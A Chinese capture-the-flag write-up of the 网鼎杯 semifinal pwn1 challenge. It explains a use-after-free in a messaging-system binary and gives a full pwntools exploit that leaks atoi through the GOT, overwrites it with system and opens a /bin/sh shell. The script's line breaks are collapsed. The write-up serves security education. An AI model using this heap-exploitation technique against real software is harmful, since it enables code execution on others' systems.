网鼎杯半决赛 pwn1
一个短信系统
- 定义了两个结构体,分别如下,一个是用户信息的结构体,一个是信息结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
00000000 00000000 message struc ; (sizeof=0x18, align=0x8, mappedto_6) 00000000 title dq ? ; offset 00000008 content dq ? 00000010 next dq ? 00000018 message ends 00000018 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 pwn struc ; (sizeof=0x128, align=0x8, mappedto_7) 00000000 malloc_name_ptr dq ? 00000008 age dq ? 00000010 description db 256 dup(?) 00000110 messagenode dq ? ; offset 00000118 friend_ptr dq ? 00000120 inuse dq ? 00000128 pwn ends 00000128 |
- 程序逻辑有一些复杂,但是有几个关键的地方值得注意一下
- 人物信息结构体中有许多指针,而且排布相对稳定
- 程序只有两处地方调用了free函数,并且未置空指针,这就导致了UAF的存在
还有strdup函数,第一次见,作用不是很清楚,去查了一下才知道它的作用和malloc后scanf是一样的
程序中有大量的链表指针操作,显得非常复杂,但是不用太过于纠结,在我尝试了一下执行free后,人物信息结构体被free掉了,这就导致了有0x130的空间可以被利用
- 期间我尝试了利用strdup来进行堆块错位的操作,但是并没有成功,因为p64()函数自动补的0影响了strdup的过程,而唯一比较容易的可控的地方是nameptr,只要覆盖了name指针内容,show后再进行updata,就可以leak程序基址修改程序的got表
- 这里我free了两块大堆块,导致了我有0x260的空间可以使用,然后我就可以利用刚才的strdup,来进行指针的覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
from pwn import *r = process("./pwn") atoi_libc = 0x36E80 #offset sys_libc = 0x45390def register(namesize,name):r.sendlineafter("Your choice:","2")r.sendlineafter("Input your name size:",str(namesize))r.sendafter("Input your name:",name)r.sendlineafter("Input your age:","18")r.sendlineafter("Input your description:","1"*0x100)def login(name):r.sendlineafter("Your choice:","1")r.sendafter("Please input your user name:",name)def show():r.sendlineafter("Your choice:","1")def edit(name,age):r.sendlineafter("Your choice:","2")r.sendafter("Input your name:",name)r.sendlineafter("Input your age:","18")r.sendlineafter("Input your description:","1"*0x100)def AddDeleFriend(module,name):r.sendlineafter("Your choice:","3")r.sendafter("Input the friend's name:",name)r.sendlineafter("So..Do u want to add or delete this friend?(a/d)",module)def message(name,content,title):r.sendlineafter("Your choice:","4")r.sendafter("Which user do you want to send a msg to:",name)r.sendlineafter("Input your message title:",title)r.sendlineafter("Input your content:",content)def logout():r.sendlineafter("Your choice:","6")def exp():register(0x80,"111111")register(0x80,"222222")login("111111")AddDeleFriend("a","111111")AddDeleFriend("d","111111")logout()login("222222")AddDeleFriend("a","222222")AddDeleFriend("d","222222")payload = '\x30'*16*15payload += p64(0x602060)message("222222",payload,"title")show()r.recvuntil("Username:")atoi = u64(r.recv(6) +'\x00'*2)print "atoi :%x"%atoisystem=atoi-atoi_libc + sys_libcedit(p64(system),18)r.sendline("/bin/sh")r.interactive()if __name__ == "__main__":exp() |
网鼎杯半决赛 pwn1相关推荐
- 第三届“网鼎杯”官方资格赛圆满结束,问鼎之战即将开启!
8月31日,历时近一周的激烈博弈,第三届"网鼎杯"四场官方资格赛圆满结束.接下来,将遴选500支战队.2000名选手晋级半决赛,全球最大规模网络安全竞技现场即将开启! 第三届&qu ...
- 网络安全的“奥运会”——第三届“网鼎杯”网络安全大赛即将开幕
乘风破浪潮头立,为国铸鼎正当时!以"数字未来,共同守护"为主题的2022年第三届"网鼎杯"网络安全大赛如约而至.大赛由公安部指导,"政产学研用&quo ...
- CTF-i春秋网鼎杯第一场misc部分writeup
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
- 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)
(原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...
- 【2022 网鼎杯】青龙组 crypto WriteUp
2022 网鼎杯 青龙组 crypto WriteUp crypto091 crypto405 crypto162 文章目录 crypto091 crypto405 crypto162 crypto0 ...
- [网鼎杯 2018]Fakebook
[网鼎杯 2018]Fakebook 点击添加两条记录之后,任意点进去观察到 http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/vi ...
- [ CTF ] WriteUp- 2022年第三届“网鼎杯”网络安全大赛(白虎组)
2022年第三届"网鼎杯"网络安全大赛(白虎组)部分题目附件 文章目录 [Misc]misc620 [Crypto]crypto582 [Crypto]crypto581 [Mis ...
- [re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp
[re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp 这道题是2020网鼎杯青龙组的一道逆向提signal,一道虚拟机逆向题目,题目本身不难,可以直接分析也可以符号执行秒掉. 题目分析 ...
- 近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)
本文目录 前言 ISCC Misc 签到题 耳听为实 千层套路 ISCC Web Php is the best language ISCC成绩查询-2 ISCC成绩查询_3 What can ima ...
最新文章
- valgrind 报告 ecpg内存泄露 (三)
- ecshop 去除前台模板自动解析CSS/JS/IMG路径
- matlab cell类型数组存至txt文件
- golang中如何抓取panic让程序正常退出
- 阿里云RPA专有云产品文档集合
- 如何分辨PoE工业交换机是否标准供电
- 文件批量处理器Android,GFileBat 2012(文件批量处理器)V1.1 正式版
- Hive一些参数设置
- Java操作zip压缩和解压缩文件工具类
- Atitit.ati str 字符串增强api
- 微信开发源代码详细分析-微信开发教程6
- epson r1900 清零软件_EPSON R2000清零软件 R3000 R1800 R1900 R2880 R3880 4880打印机
- CI框架解决jsonp跨域的问题
- Word一键生成英文目录(域方法)
- iphone禁止自动连接wifi操作方法「苹果教程」
- SUSE收购Rancher Labs,云原生时代大幕拉开
- 微信小程序跳小程序short-link(#小程序://)
- 在Linux系统搭建DNS服务器
- 刀剑乱舞极化图片_【刀剑乱舞】极化刀速查攻略
- 如何更有效地发现用户痛点?
热门文章
- linux动态库注册函数,linux下加载动态库函数
- Echarts的常用api
- Android蓝牙开发 — 经典蓝牙BLE蓝牙
- 计划评审方法和关键路线法【PERT/CPM、统筹方法】
- 报错 | SyntaxError: Legacy octal literals are not allowed in strict
- [Python]《点燃我,温暖你》李峋同款爱心代码
- 揭秘国漫《武动乾坤》制作幕后 动作戏竟然真人演
- 前端工程师 后段工程师_工程师如何在会计中生存
- unilife-fridge-producetion-show
- 洛谷 P1719 最大加权矩形 动态规划